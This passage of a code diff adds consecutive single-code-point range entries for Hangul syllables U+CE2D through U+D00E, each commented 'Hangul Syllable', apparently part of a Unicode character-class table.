+ ["\uCE2D", "\uCE2D"], /* Hangul Syllable */
+ ["\uCE2E", "\uCE2E"], /* Hangul Syllable */
+ ["\uCE2F", "\uCE2F"], /* Hangul Syllable */
+ ["\uCE30", "\uCE30"], /* Hangul Syllable */
+ ["\uCE31", "\uCE31"], /* Hangul Syllable */
+ ["\uCE32", "\uCE32"], /* Hangul Syllable */
+ ["\uCE33", "\uCE33"], /* Hangul Syllable */
+ ["\uCE34", "\uCE34"], /* Hangul Syllable */
+ ["\uCE35", "\uCE35"], /* Hangul Syllable */
+ ["\uCE36", "\uCE36"], /* Hangul Syllable */
+ ["\uCE37", "\uCE37"], /* Hangul Syllable */
+ ["\uCE38", "\uCE38"], /* Hangul Syllable */
+ ["\uCE39", "\uCE39"], /* Hangul Syllable */
+ ["\uCE3A", "\uCE3A"], /* Hangul Syllable */
+ ["\uCE3B", "\uCE3B"], /* Hangul Syllable */
+ ["\uCE3C", "\uCE3C"], /* Hangul Syllable */
+ ["\uCE3D", "\uCE3D"], /* Hangul Syllable */
+ ["\uCE3E", "\uCE3E"], /* Hangul Syllable */
+ ["\uCE3F", "\uCE3F"], /* Hangul Syllable */
+ ["\uCE40", "\uCE40"], /* Hangul Syllable */
+ ["\uCE41", "\uCE41"], /* Hangul Syllable */
+ ["\uCE42", "\uCE42"], /* Hangul Syllable */
+ ["\uCE43", "\uCE43"], /* Hangul Syllable */
+ ["\uCE44", "\uCE44"], /* Hangul Syllable */
+ ["\uCE45", "\uCE45"], /* Hangul Syllable */
+ ["\uCE46", "\uCE46"], /* Hangul Syllable */
+ ["\uCE47", "\uCE47"], /* Hangul Syllable */
+ ["\uCE48", "\uCE48"], /* Hangul Syllable */
+ ["\uCE49", "\uCE49"], /* Hangul Syllable */
+ ["\uCE4A", "\uCE4A"], /* Hangul Syllable */
+ ["\uCE4B", "\uCE4B"], /* Hangul Syllable */
+ ["\uCE4C", "\uCE4C"], /* Hangul Syllable */
+ ["\uCE4D", "\uCE4D"], /* Hangul Syllable */
+ ["\uCE4E", "\uCE4E"], /* Hangul Syllable */
+ ["\uCE4F", "\uCE4F"], /* Hangul Syllable */
+ ["\uCE50", "\uCE50"], /* Hangul Syllable */
+ ["\uCE51", "\uCE51"], /* Hangul Syllable */
+ ["\uCE52", "\uCE52"], /* Hangul Syllable */
+ ["\uCE53", "\uCE53"], /* Hangul Syllable */
+ ["\uCE54", "\uCE54"], /* Hangul Syllable */
+ ["\uCE55", "\uCE55"], /* Hangul Syllable */
+ ["\uCE56", "\uCE56"], /* Hangul Syllable */
+ ["\uCE57", "\uCE57"], /* Hangul Syllable */
+ ["\uCE58", "\uCE58"], /* Hangul Syllable */
+ ["\uCE59", "\uCE59"], /* Hangul Syllable */
+ ["\uCE5A", "\uCE5A"], /* Hangul Syllable */
+ ["\uCE5B", "\uCE5B"], /* Hangul Syllable */
+ ["\uCE5C", "\uCE5C"], /* Hangul Syllable */
+ ["\uCE5D", "\uCE5D"], /* Hangul Syllable */
+ ["\uCE5E", "\uCE5E"], /* Hangul Syllable */
+ ["\uCE5F", "\uCE5F"], /* Hangul Syllable */
+ ["\uCE60", "\uCE60"], /* Hangul Syllable */
+ ["\uCE61", "\uCE61"], /* Hangul Syllable */
+ ["\uCE62", "\uCE62"], /* Hangul Syllable */
+ ["\uCE63", "\uCE63"], /* Hangul Syllable */
+ ["\uCE64", "\uCE64"], /* Hangul Syllable */
+ ["\uCE65", "\uCE65"], /* Hangul Syllable */
+ ["\uCE66", "\uCE66"], /* Hangul Syllable */
+ ["\uCE67", "\uCE67"], /* Hangul Syllable */
+ ["\uCE68", "\uCE68"], /* Hangul Syllable */
+ ["\uCE69", "\uCE69"], /* Hangul Syllable */
+ ["\uCE6A", "\uCE6A"], /* Hangul Syllable */
+ ["\uCE6B", "\uCE6B"], /* Hangul Syllable */
+ ["\uCE6C", "\uCE6C"], /* Hangul Syllable */
+ ["\uCE6D", "\uCE6D"], /* Hangul Syllable */
+ ["\uCE6E", "\uCE6E"], /* Hangul Syllable */
+ ["\uCE6F", "\uCE6F"], /* Hangul Syllable */
+ ["\uCE70", "\uCE70"], /* Hangul Syllable */
+ ["\uCE71", "\uCE71"], /* Hangul Syllable */
+ ["\uCE72", "\uCE72"], /* Hangul Syllable */
+ ["\uCE73", "\uCE73"], /* Hangul Syllable */
+ ["\uCE74", "\uCE74"], /* Hangul Syllable */
+ ["\uCE75", "\uCE75"], /* Hangul Syllable */
+ ["\uCE76", "\uCE76"], /* Hangul Syllable */
+ ["\uCE77", "\uCE77"], /* Hangul Syllable */
+ ["\uCE78", "\uCE78"], /* Hangul Syllable */
+ ["\uCE79", "\uCE79"], /* Hangul Syllable */
+ ["\uCE7A", "\uCE7A"], /* Hangul Syllable */
+ ["\uCE7B", "\uCE7B"], /* Hangul Syllable */
+ ["\uCE7C", "\uCE7C"], /* Hangul Syllable */
+ ["\uCE7D", "\uCE7D"], /* Hangul Syllable */
+ ["\uCE7E", "\uCE7E"], /* Hangul Syllable */
+ ["\uCE7F", "\uCE7F"], /* Hangul Syllable */
+ ["\uCE80", "\uCE80"], /* Hangul Syllable */
+ ["\uCE81", "\uCE81"], /* Hangul Syllable */
+ ["\uCE82", "\uCE82"], /* Hangul Syllable */
+ ["\uCE83", "\uCE83"], /* Hangul Syllable */
+ ["\uCE84", "\uCE84"], /* Hangul Syllable */
+ ["\uCE85", "\uCE85"], /* Hangul Syllable */
+ ["\uCE86", "\uCE86"], /* Hangul Syllable */
+ ["\uCE87", "\uCE87"], /* Hangul Syllable */
+ ["\uCE88", "\uCE88"], /* Hangul Syllable */
+ ["\uCE89", "\uCE89"], /* Hangul Syllable */
+ ["\uCE8A", "\uCE8A"], /* Hangul Syllable */
+ ["\uCE8B", "\uCE8B"], /* Hangul Syllable */
+ ["\uCE8C", "\uCE8C"], /* Hangul Syllable */
+ ["\uCE8D", "\uCE8D"], /* Hangul Syllable */
+ ["\uCE8E", "\uCE8E"], /* Hangul Syllable */
+ ["\uCE8F", "\uCE8F"], /* Hangul Syllable */
+ ["\uCE90", "\uCE90"], /* Hangul Syllable */
+ ["\uCE91", "\uCE91"], /* Hangul Syllable */
+ ["\uCE92", "\uCE92"], /* Hangul Syllable */
+ ["\uCE93", "\uCE93"], /* Hangul Syllable */
+ ["\uCE94", "\uCE94"], /* Hangul Syllable */
+ ["\uCE95", "\uCE95"], /* Hangul Syllable */
+ ["\uCE96", "\uCE96"], /* Hangul Syllable */
+ ["\uCE97", "\uCE97"], /* Hangul Syllable */
+ ["\uCE98", "\uCE98"], /* Hangul Syllable */
+ ["\uCE99", "\uCE99"], /* Hangul Syllable */
+ ["\uCE9A", "\uCE9A"], /* Hangul Syllable */
+ ["\uCE9B", "\uCE9B"], /* Hangul Syllable */
+ ["\uCE9C", "\uCE9C"], /* Hangul Syllable */
+ ["\uCE9D", "\uCE9D"], /* Hangul Syllable */
+ ["\uCE9E", "\uCE9E"], /* Hangul Syllable */
+ ["\uCE9F", "\uCE9F"], /* Hangul Syllable */
+ ["\uCEA0", "\uCEA0"], /* Hangul Syllable */
+ ["\uCEA1", "\uCEA1"], /* Hangul Syllable */
+ ["\uCEA2", "\uCEA2"], /* Hangul Syllable */
+ ["\uCEA3", "\uCEA3"], /* Hangul Syllable */
+ ["\uCEA4", "\uCEA4"], /* Hangul Syllable */
+ ["\uCEA5", "\uCEA5"], /* Hangul Syllable */
+ ["\uCEA6", "\uCEA6"], /* Hangul Syllable */
+ ["\uCEA7", "\uCEA7"], /* Hangul Syllable */
+ ["\uCEA8", "\uCEA8"], /* Hangul Syllable */
+ ["\uCEA9", "\uCEA9"], /* Hangul Syllable */
+ ["\uCEAA", "\uCEAA"], /* Hangul Syllable */
+ ["\uCEAB", "\uCEAB"], /* Hangul Syllable */
+ ["\uCEAC", "\uCEAC"], /* Hangul Syllable */
+ ["\uCEAD", "\uCEAD"], /* Hangul Syllable */
+ ["\uCEAE", "\uCEAE"], /* Hangul Syllable */
+ ["\uCEAF", "\uCEAF"], /* Hangul Syllable */
+ ["\uCEB0", "\uCEB0"], /* Hangul Syllable */
+ ["\uCEB1", "\uCEB1"], /* Hangul Syllable */
+ ["\uCEB2", "\uCEB2"], /* Hangul Syllable */
+ ["\uCEB3", "\uCEB3"], /* Hangul Syllable */
+ ["\uCEB4", "\uCEB4"], /* Hangul Syllable */
+ ["\uCEB5", "\uCEB5"], /* Hangul Syllable */
+ ["\uCEB6", "\uCEB6"], /* Hangul Syllable */
+ ["\uCEB7", "\uCEB7"], /* Hangul Syllable */
+ ["\uCEB8", "\uCEB8"], /* Hangul Syllable */
+ ["\uCEB9", "\uCEB9"], /* Hangul Syllable */
+ ["\uCEBA", "\uCEBA"], /* Hangul Syllable */
+ ["\uCEBB", "\uCEBB"], /* Hangul Syllable */
+ ["\uCEBC", "\uCEBC"], /* Hangul Syllable */
+ ["\uCEBD", "\uCEBD"], /* Hangul Syllable */
+ ["\uCEBE", "\uCEBE"], /* Hangul Syllable */
+ ["\uCEBF", "\uCEBF"], /* Hangul Syllable */
+ ["\uCEC0", "\uCEC0"], /* Hangul Syllable */
+ ["\uCEC1", "\uCEC1"], /* Hangul Syllable */
+ ["\uCEC2", "\uCEC2"], /* Hangul Syllable */
+ ["\uCEC3", "\uCEC3"], /* Hangul Syllable */
+ ["\uCEC4", "\uCEC4"], /* Hangul Syllable */
+ ["\uCEC5", "\uCEC5"], /* Hangul Syllable */
+ ["\uCEC6", "\uCEC6"], /* Hangul Syllable */
+ ["\uCEC7", "\uCEC7"], /* Hangul Syllable */
+ ["\uCEC8", "\uCEC8"], /* Hangul Syllable */
+ ["\uCEC9", "\uCEC9"], /* Hangul Syllable */
+ ["\uCECA", "\uCECA"], /* Hangul Syllable */
+ ["\uCECB", "\uCECB"], /* Hangul Syllable */
+ ["\uCECC", "\uCECC"], /* Hangul Syllable */
+ ["\uCECD", "\uCECD"], /* Hangul Syllable */
+ ["\uCECE", "\uCECE"], /* Hangul Syllable */
+ ["\uCECF", "\uCECF"], /* Hangul Syllable */
+ ["\uCED0", "\uCED0"], /* Hangul Syllable */
+ ["\uCED1", "\uCED1"], /* Hangul Syllable */
+ ["\uCED2", "\uCED2"], /* Hangul Syllable */
+ ["\uCED3", "\uCED3"], /* Hangul Syllable */
+ ["\uCED4", "\uCED4"], /* Hangul Syllable */
+ ["\uCED5", "\uCED5"], /* Hangul Syllable */
+ ["\uCED6", "\uCED6"], /* Hangul Syllable */
+ ["\uCED7", "\uCED7"], /* Hangul Syllable */
+ ["\uCED8", "\uCED8"], /* Hangul Syllable */
+ ["\uCED9", "\uCED9"], /* Hangul Syllable */
+ ["\uCEDA", "\uCEDA"], /* Hangul Syllable */
+ ["\uCEDB", "\uCEDB"], /* Hangul Syllable */
+ ["\uCEDC", "\uCEDC"], /* Hangul Syllable */
+ ["\uCEDD", "\uCEDD"], /* Hangul Syllable */
+ ["\uCEDE", "\uCEDE"], /* Hangul Syllable */
+ ["\uCEDF", "\uCEDF"], /* Hangul Syllable */
+ ["\uCEE0", "\uCEE0"], /* Hangul Syllable */
+ ["\uCEE1", "\uCEE1"], /* Hangul Syllable */
+ ["\uCEE2", "\uCEE2"], /* Hangul Syllable */
+ ["\uCEE3", "\uCEE3"], /* Hangul Syllable */
+ ["\uCEE4", "\uCEE4"], /* Hangul Syllable */
+ ["\uCEE5", "\uCEE5"], /* Hangul Syllable */
+ ["\uCEE6", "\uCEE6"], /* Hangul Syllable */
+ ["\uCEE7", "\uCEE7"], /* Hangul Syllable */
+ ["\uCEE8", "\uCEE8"], /* Hangul Syllable */
+ ["\uCEE9", "\uCEE9"], /* Hangul Syllable */
+ ["\uCEEA", "\uCEEA"], /* Hangul Syllable */
+ ["\uCEEB", "\uCEEB"], /* Hangul Syllable */
+ ["\uCEEC", "\uCEEC"], /* Hangul Syllable */
+ ["\uCEED", "\uCEED"], /* Hangul Syllable */
+ ["\uCEEE", "\uCEEE"], /* Hangul Syllable */
+ ["\uCEEF", "\uCEEF"], /* Hangul Syllable */
+ ["\uCEF0", "\uCEF0"], /* Hangul Syllable */
+ ["\uCEF1", "\uCEF1"], /* Hangul Syllable */
+ ["\uCEF2", "\uCEF2"], /* Hangul Syllable */
+ ["\uCEF3", "\uCEF3"], /* Hangul Syllable */
+ ["\uCEF4", "\uCEF4"], /* Hangul Syllable */
+ ["\uCEF5", "\uCEF5"], /* Hangul Syllable */
+ ["\uCEF6", "\uCEF6"], /* Hangul Syllable */
+ ["\uCEF7", "\uCEF7"], /* Hangul Syllable */
+ ["\uCEF8", "\uCEF8"], /* Hangul Syllable */
+ ["\uCEF9", "\uCEF9"], /* Hangul Syllable */
+ ["\uCEFA", "\uCEFA"], /* Hangul Syllable */
+ ["\uCEFB", "\uCEFB"], /* Hangul Syllable */
+ ["\uCEFC", "\uCEFC"], /* Hangul Syllable */
+ ["\uCEFD", "\uCEFD"], /* Hangul Syllable */
+ ["\uCEFE", "\uCEFE"], /* Hangul Syllable */
+ ["\uCEFF", "\uCEFF"], /* Hangul Syllable */
+ ["\uCF00", "\uCF00"], /* Hangul Syllable */
+ ["\uCF01", "\uCF01"], /* Hangul Syllable */
+ ["\uCF02", "\uCF02"], /* Hangul Syllable */
+ ["\uCF03", "\uCF03"], /* Hangul Syllable */
+ ["\uCF04", "\uCF04"], /* Hangul Syllable */
+ ["\uCF05", "\uCF05"], /* Hangul Syllable */
+ ["\uCF06", "\uCF06"], /* Hangul Syllable */
+ ["\uCF07", "\uCF07"], /* Hangul Syllable */
+ ["\uCF08", "\uCF08"], /* Hangul Syllable */
+ ["\uCF09", "\uCF09"], /* Hangul Syllable */
+ ["\uCF0A", "\uCF0A"], /* Hangul Syllable */
+ ["\uCF0B", "\uCF0B"], /* Hangul Syllable */
+ ["\uCF0C", "\uCF0C"], /* Hangul Syllable */
+ ["\uCF0D", "\uCF0D"], /* Hangul Syllable */
+ ["\uCF0E", "\uCF0E"], /* Hangul Syllable */
+ ["\uCF0F", "\uCF0F"], /* Hangul Syllable */
+ ["\uCF10", "\uCF10"], /* Hangul Syllable */
+ ["\uCF11", "\uCF11"], /* Hangul Syllable */
+ ["\uCF12", "\uCF12"], /* Hangul Syllable */
+ ["\uCF13", "\uCF13"], /* Hangul Syllable */
+ ["\uCF14", "\uCF14"], /* Hangul Syllable */
+ ["\uCF15", "\uCF15"], /* Hangul Syllable */
+ ["\uCF16", "\uCF16"], /* Hangul Syllable */
+ ["\uCF17", "\uCF17"], /* Hangul Syllable */
+ ["\uCF18", "\uCF18"], /* Hangul Syllable */
+ ["\uCF19", "\uCF19"], /* Hangul Syllable */
+ ["\uCF1A", "\uCF1A"], /* Hangul Syllable */
+ ["\uCF1B", "\uCF1B"], /* Hangul Syllable */
+ ["\uCF1C", "\uCF1C"], /* Hangul Syllable */
+ ["\uCF1D", "\uCF1D"], /* Hangul Syllable */
+ ["\uCF1E", "\uCF1E"], /* Hangul Syllable */
+ ["\uCF1F", "\uCF1F"], /* Hangul Syllable */
+ ["\uCF20", "\uCF20"], /* Hangul Syllable */
+ ["\uCF21", "\uCF21"], /* Hangul Syllable */
+ ["\uCF22", "\uCF22"], /* Hangul Syllable */
+ ["\uCF23", "\uCF23"], /* Hangul Syllable */
+ ["\uCF24", "\uCF24"], /* Hangul Syllable */
+ ["\uCF25", "\uCF25"], /* Hangul Syllable */
+ ["\uCF26", "\uCF26"], /* Hangul Syllable */
+ ["\uCF27", "\uCF27"], /* Hangul Syllable */
+ ["\uCF28", "\uCF28"], /* Hangul Syllable */
+ ["\uCF29", "\uCF29"], /* Hangul Syllable */
+ ["\uCF2A", "\uCF2A"], /* Hangul Syllable */
+ ["\uCF2B", "\uCF2B"], /* Hangul Syllable */
+ ["\uCF2C", "\uCF2C"], /* Hangul Syllable */
+ ["\uCF2D", "\uCF2D"], /* Hangul Syllable */
+ ["\uCF2E", "\uCF2E"], /* Hangul Syllable */
+ ["\uCF2F", "\uCF2F"], /* Hangul Syllable */
+ ["\uCF30", "\uCF30"], /* Hangul Syllable */
+ ["\uCF31", "\uCF31"], /* Hangul Syllable */
+ ["\uCF32", "\uCF32"], /* Hangul Syllable */
+ ["\uCF33", "\uCF33"], /* Hangul Syllable */
+ ["\uCF34", "\uCF34"], /* Hangul Syllable */
+ ["\uCF35", "\uCF35"], /* Hangul Syllable */
+ ["\uCF36", "\uCF36"], /* Hangul Syllable */
+ ["\uCF37", "\uCF37"], /* Hangul Syllable */
+ ["\uCF38", "\uCF38"], /* Hangul Syllable */
+ ["\uCF39", "\uCF39"], /* Hangul Syllable */
+ ["\uCF3A", "\uCF3A"], /* Hangul Syllable */
+ ["\uCF3B", "\uCF3B"], /* Hangul Syllable */
+ ["\uCF3C", "\uCF3C"], /* Hangul Syllable */
+ ["\uCF3D", "\uCF3D"], /* Hangul Syllable */
+ ["\uCF3E", "\uCF3E"], /* Hangul Syllable */
+ ["\uCF3F", "\uCF3F"], /* Hangul Syllable */
+ ["\uCF40", "\uCF40"], /* Hangul Syllable */
+ ["\uCF41", "\uCF41"], /* Hangul Syllable */
+ ["\uCF42", "\uCF42"], /* Hangul Syllable */
+ ["\uCF43", "\uCF43"], /* Hangul Syllable */
+ ["\uCF44", "\uCF44"], /* Hangul Syllable */
+ ["\uCF45", "\uCF45"], /* Hangul Syllable */
+ ["\uCF46", "\uCF46"], /* Hangul Syllable */
+ ["\uCF47", "\uCF47"], /* Hangul Syllable */
+ ["\uCF48", "\uCF48"], /* Hangul Syllable */
+ ["\uCF49", "\uCF49"], /* Hangul Syllable */
+ ["\uCF4A", "\uCF4A"], /* Hangul Syllable */
+ ["\uCF4B", "\uCF4B"], /* Hangul Syllable */
+ ["\uCF4C", "\uCF4C"], /* Hangul Syllable */
+ ["\uCF4D", "\uCF4D"], /* Hangul Syllable */
+ ["\uCF4E", "\uCF4E"], /* Hangul Syllable */
+ ["\uCF4F", "\uCF4F"], /* Hangul Syllable */
+ ["\uCF50", "\uCF50"], /* Hangul Syllable */
+ ["\uCF51", "\uCF51"], /* Hangul Syllable */
+ ["\uCF52", "\uCF52"], /* Hangul Syllable */
+ ["\uCF53", "\uCF53"], /* Hangul Syllable */
+ ["\uCF54", "\uCF54"], /* Hangul Syllable */
+ ["\uCF55", "\uCF55"], /* Hangul Syllable */
+ ["\uCF56", "\uCF56"], /* Hangul Syllable */
+ ["\uCF57", "\uCF57"], /* Hangul Syllable */
+ ["\uCF58", "\uCF58"], /* Hangul Syllable */
+ ["\uCF59", "\uCF59"], /* Hangul Syllable */
+ ["\uCF5A", "\uCF5A"], /* Hangul Syllable */
+ ["\uCF5B", "\uCF5B"], /* Hangul Syllable */
+ ["\uCF5C", "\uCF5C"], /* Hangul Syllable */
+ ["\uCF5D", "\uCF5D"], /* Hangul Syllable */
+ ["\uCF5E", "\uCF5E"], /* Hangul Syllable */
+ ["\uCF5F", "\uCF5F"], /* Hangul Syllable */
+ ["\uCF60", "\uCF60"], /* Hangul Syllable */
+ ["\uCF61", "\uCF61"], /* Hangul Syllable */
+ ["\uCF62", "\uCF62"], /* Hangul Syllable */
+ ["\uCF63", "\uCF63"], /* Hangul Syllable */
+ ["\uCF64", "\uCF64"], /* Hangul Syllable */
+ ["\uCF65", "\uCF65"], /* Hangul Syllable */
+ ["\uCF66", "\uCF66"], /* Hangul Syllable */
+ ["\uCF67", "\uCF67"], /* Hangul Syllable */
+ ["\uCF68", "\uCF68"], /* Hangul Syllable */
+ ["\uCF69", "\uCF69"], /* Hangul Syllable */
+ ["\uCF6A", "\uCF6A"], /* Hangul Syllable */
+ ["\uCF6B", "\uCF6B"], /* Hangul Syllable */
+ ["\uCF6C", "\uCF6C"], /* Hangul Syllable */
+ ["\uCF6D", "\uCF6D"], /* Hangul Syllable */
+ ["\uCF6E", "\uCF6E"], /* Hangul Syllable */
+ ["\uCF6F", "\uCF6F"], /* Hangul Syllable */
+ ["\uCF70", "\uCF70"], /* Hangul Syllable */
+ ["\uCF71", "\uCF71"], /* Hangul Syllable */
+ ["\uCF72", "\uCF72"], /* Hangul Syllable */
+ ["\uCF73", "\uCF73"], /* Hangul Syllable */
+ ["\uCF74", "\uCF74"], /* Hangul Syllable */
+ ["\uCF75", "\uCF75"], /* Hangul Syllable */
+ ["\uCF76", "\uCF76"], /* Hangul Syllable */
+ ["\uCF77", "\uCF77"], /* Hangul Syllable */
+ ["\uCF78", "\uCF78"], /* Hangul Syllable */
+ ["\uCF79", "\uCF79"], /* Hangul Syllable */
+ ["\uCF7A", "\uCF7A"], /* Hangul Syllable */
+ ["\uCF7B", "\uCF7B"], /* Hangul Syllable */
+ ["\uCF7C", "\uCF7C"], /* Hangul Syllable */
+ ["\uCF7D", "\uCF7D"], /* Hangul Syllable */
+ ["\uCF7E", "\uCF7E"], /* Hangul Syllable */
+ ["\uCF7F", "\uCF7F"], /* Hangul Syllable */
+ ["\uCF80", "\uCF80"], /* Hangul Syllable */
+ ["\uCF81", "\uCF81"], /* Hangul Syllable */
+ ["\uCF82", "\uCF82"], /* Hangul Syllable */
+ ["\uCF83", "\uCF83"], /* Hangul Syllable */
+ ["\uCF84", "\uCF84"], /* Hangul Syllable */
+ ["\uCF85", "\uCF85"], /* Hangul Syllable */
+ ["\uCF86", "\uCF86"], /* Hangul Syllable */
+ ["\uCF87", "\uCF87"], /* Hangul Syllable */
+ ["\uCF88", "\uCF88"], /* Hangul Syllable */
+ ["\uCF89", "\uCF89"], /* Hangul Syllable */
+ ["\uCF8A", "\uCF8A"], /* Hangul Syllable */
+ ["\uCF8B", "\uCF8B"], /* Hangul Syllable */
+ ["\uCF8C", "\uCF8C"], /* Hangul Syllable */
+ ["\uCF8D", "\uCF8D"], /* Hangul Syllable */
+ ["\uCF8E", "\uCF8E"], /* Hangul Syllable */
+ ["\uCF8F", "\uCF8F"], /* Hangul Syllable */
+ ["\uCF90", "\uCF90"], /* Hangul Syllable */
+ ["\uCF91", "\uCF91"], /* Hangul Syllable */
+ ["\uCF92", "\uCF92"], /* Hangul Syllable */
+ ["\uCF93", "\uCF93"], /* Hangul Syllable */
+ ["\uCF94", "\uCF94"], /* Hangul Syllable */
+ ["\uCF95", "\uCF95"], /* Hangul Syllable */
+ ["\uCF96", "\uCF96"], /* Hangul Syllable */
+ ["\uCF97", "\uCF97"], /* Hangul Syllable */
+ ["\uCF98", "\uCF98"], /* Hangul Syllable */
+ ["\uCF99", "\uCF99"], /* Hangul Syllable */
+ ["\uCF9A", "\uCF9A"], /* Hangul Syllable */
+ ["\uCF9B", "\uCF9B"], /* Hangul Syllable */
+ ["\uCF9C", "\uCF9C"], /* Hangul Syllable */
+ ["\uCF9D", "\uCF9D"], /* Hangul Syllable */
+ ["\uCF9E", "\uCF9E"], /* Hangul Syllable */
+ ["\uCF9F", "\uCF9F"], /* Hangul Syllable */
+ ["\uCFA0", "\uCFA0"], /* Hangul Syllable */
+ ["\uCFA1", "\uCFA1"], /* Hangul Syllable */
+ ["\uCFA2", "\uCFA2"], /* Hangul Syllable */
+ ["\uCFA3", "\uCFA3"], /* Hangul Syllable */
+ ["\uCFA4", "\uCFA4"], /* Hangul Syllable */
+ ["\uCFA5", "\uCFA5"], /* Hangul Syllable */
+ ["\uCFA6", "\uCFA6"], /* Hangul Syllable */
+ ["\uCFA7", "\uCFA7"], /* Hangul Syllable */
+ ["\uCFA8", "\uCFA8"], /* Hangul Syllable */
+ ["\uCFA9", "\uCFA9"], /* Hangul Syllable */
+ ["\uCFAA", "\uCFAA"], /* Hangul Syllable */
+ ["\uCFAB", "\uCFAB"], /* Hangul Syllable */
+ ["\uCFAC", "\uCFAC"], /* Hangul Syllable */
+ ["\uCFAD", "\uCFAD"], /* Hangul Syllable */
+ ["\uCFAE", "\uCFAE"], /* Hangul Syllable */
+ ["\uCFAF", "\uCFAF"], /* Hangul Syllable */
+ ["\uCFB0", "\uCFB0"], /* Hangul Syllable */
+ ["\uCFB1", "\uCFB1"], /* Hangul Syllable */
+ ["\uCFB2", "\uCFB2"], /* Hangul Syllable */
+ ["\uCFB3", "\uCFB3"], /* Hangul Syllable */
+ ["\uCFB4", "\uCFB4"], /* Hangul Syllable */
+ ["\uCFB5", "\uCFB5"], /* Hangul Syllable */
+ ["\uCFB6", "\uCFB6"], /* Hangul Syllable */
+ ["\uCFB7", "\uCFB7"], /* Hangul Syllable */
+ ["\uCFB8", "\uCFB8"], /* Hangul Syllable */
+ ["\uCFB9", "\uCFB9"], /* Hangul Syllable */
+ ["\uCFBA", "\uCFBA"], /* Hangul Syllable */
+ ["\uCFBB", "\uCFBB"], /* Hangul Syllable */
+ ["\uCFBC", "\uCFBC"], /* Hangul Syllable */
+ ["\uCFBD", "\uCFBD"], /* Hangul Syllable */
+ ["\uCFBE", "\uCFBE"], /* Hangul Syllable */
+ ["\uCFBF", "\uCFBF"], /* Hangul Syllable */
+ ["\uCFC0", "\uCFC0"], /* Hangul Syllable */
+ ["\uCFC1", "\uCFC1"], /* Hangul Syllable */
+ ["\uCFC2", "\uCFC2"], /* Hangul Syllable */
+ ["\uCFC3", "\uCFC3"], /* Hangul Syllable */
+ ["\uCFC4", "\uCFC4"], /* Hangul Syllable */
+ ["\uCFC5", "\uCFC5"], /* Hangul Syllable */
+ ["\uCFC6", "\uCFC6"], /* Hangul Syllable */
+ ["\uCFC7", "\uCFC7"], /* Hangul Syllable */
+ ["\uCFC8", "\uCFC8"], /* Hangul Syllable */
+ ["\uCFC9", "\uCFC9"], /* Hangul Syllable */
+ ["\uCFCA", "\uCFCA"], /* Hangul Syllable */
+ ["\uCFCB", "\uCFCB"], /* Hangul Syllable */
+ ["\uCFCC", "\uCFCC"], /* Hangul Syllable */
+ ["\uCFCD", "\uCFCD"], /* Hangul Syllable */
+ ["\uCFCE", "\uCFCE"], /* Hangul Syllable */
+ ["\uCFCF", "\uCFCF"], /* Hangul Syllable */
+ ["\uCFD0", "\uCFD0"], /* Hangul Syllable */
+ ["\uCFD1", "\uCFD1"], /* Hangul Syllable */
+ ["\uCFD2", "\uCFD2"], /* Hangul Syllable */
+ ["\uCFD3", "\uCFD3"], /* Hangul Syllable */
+ ["\uCFD4", "\uCFD4"], /* Hangul Syllable */
+ ["\uCFD5", "\uCFD5"], /* Hangul Syllable */
+ ["\uCFD6", "\uCFD6"], /* Hangul Syllable */
+ ["\uCFD7", "\uCFD7"], /* Hangul Syllable */
+ ["\uCFD8", "\uCFD8"], /* Hangul Syllable */
+ ["\uCFD9", "\uCFD9"], /* Hangul Syllable */
+ ["\uCFDA", "\uCFDA"], /* Hangul Syllable */
+ ["\uCFDB", "\uCFDB"], /* Hangul Syllable */
+ ["\uCFDC", "\uCFDC"], /* Hangul Syllable */
+ ["\uCFDD", "\uCFDD"], /* Hangul Syllable */
+ ["\uCFDE", "\uCFDE"], /* Hangul Syllable */
+ ["\uCFDF", "\uCFDF"], /* Hangul Syllable */
+ ["\uCFE0", "\uCFE0"], /* Hangul Syllable */
+ ["\uCFE1", "\uCFE1"], /* Hangul Syllable */
+ ["\uCFE2", "\uCFE2"], /* Hangul Syllable */
+ ["\uCFE3", "\uCFE3"], /* Hangul Syllable */
+ ["\uCFE4", "\uCFE4"], /* Hangul Syllable */
+ ["\uCFE5", "\uCFE5"], /* Hangul Syllable */
+ ["\uCFE6", "\uCFE6"], /* Hangul Syllable */
+ ["\uCFE7", "\uCFE7"], /* Hangul Syllable */
+ ["\uCFE8", "\uCFE8"], /* Hangul Syllable */
+ ["\uCFE9", "\uCFE9"], /* Hangul Syllable */
+ ["\uCFEA", "\uCFEA"], /* Hangul Syllable */
+ ["\uCFEB", "\uCFEB"], /* Hangul Syllable */
+ ["\uCFEC", "\uCFEC"], /* Hangul Syllable */
+ ["\uCFED", "\uCFED"], /* Hangul Syllable */
+ ["\uCFEE", "\uCFEE"], /* Hangul Syllable */
+ ["\uCFEF", "\uCFEF"], /* Hangul Syllable */
+ ["\uCFF0", "\uCFF0"], /* Hangul Syllable */
+ ["\uCFF1", "\uCFF1"], /* Hangul Syllable */
+ ["\uCFF2", "\uCFF2"], /* Hangul Syllable */
+ ["\uCFF3", "\uCFF3"], /* Hangul Syllable */
+ ["\uCFF4", "\uCFF4"], /* Hangul Syllable */
+ ["\uCFF5", "\uCFF5"], /* Hangul Syllable */
+ ["\uCFF6", "\uCFF6"], /* Hangul Syllable */
+ ["\uCFF7", "\uCFF7"], /* Hangul Syllable */
+ ["\uCFF8", "\uCFF8"], /* Hangul Syllable */
+ ["\uCFF9", "\uCFF9"], /* Hangul Syllable */
+ ["\uCFFA", "\uCFFA"], /* Hangul Syllable */
+ ["\uCFFB", "\uCFFB"], /* Hangul Syllable */
+ ["\uCFFC", "\uCFFC"], /* Hangul Syllable */
+ ["\uCFFD", "\uCFFD"], /* Hangul Syllable */
+ ["\uCFFE", "\uCFFE"], /* Hangul Syllable */
+ ["\uCFFF", "\uCFFF"], /* Hangul Syllable */
+ ["\uD000", "\uD000"], /* Hangul Syllable */
+ ["\uD001", "\uD001"], /* Hangul Syllable */
+ ["\uD002", "\uD002"], /* Hangul Syllable */
+ ["\uD003", "\uD003"], /* Hangul Syllable */
+ ["\uD004", "\uD004"], /* Hangul Syllable */
+ ["\uD005", "\uD005"], /* Hangul Syllable */
+ ["\uD006", "\uD006"], /* Hangul Syllable */
+ ["\uD007", "\uD007"], /* Hangul Syllable */
+ ["\uD008", "\uD008"], /* Hangul Syllable */
+ ["\uD009", "\uD009"], /* Hangul Syllable */
+ ["\uD00A", "\uD00A"], /* Hangul Syllable */
+ ["\uD00B", "\uD00B"], /* Hangul Syllable */
+ ["\uD00C", "\uD00C"], /* Hangul Syllable */
+ ["\uD00D", "\uD00D"], /* Hangul Syllable */
+ ["\uD00E", "\uD00E"], /* Hangul Syllable */
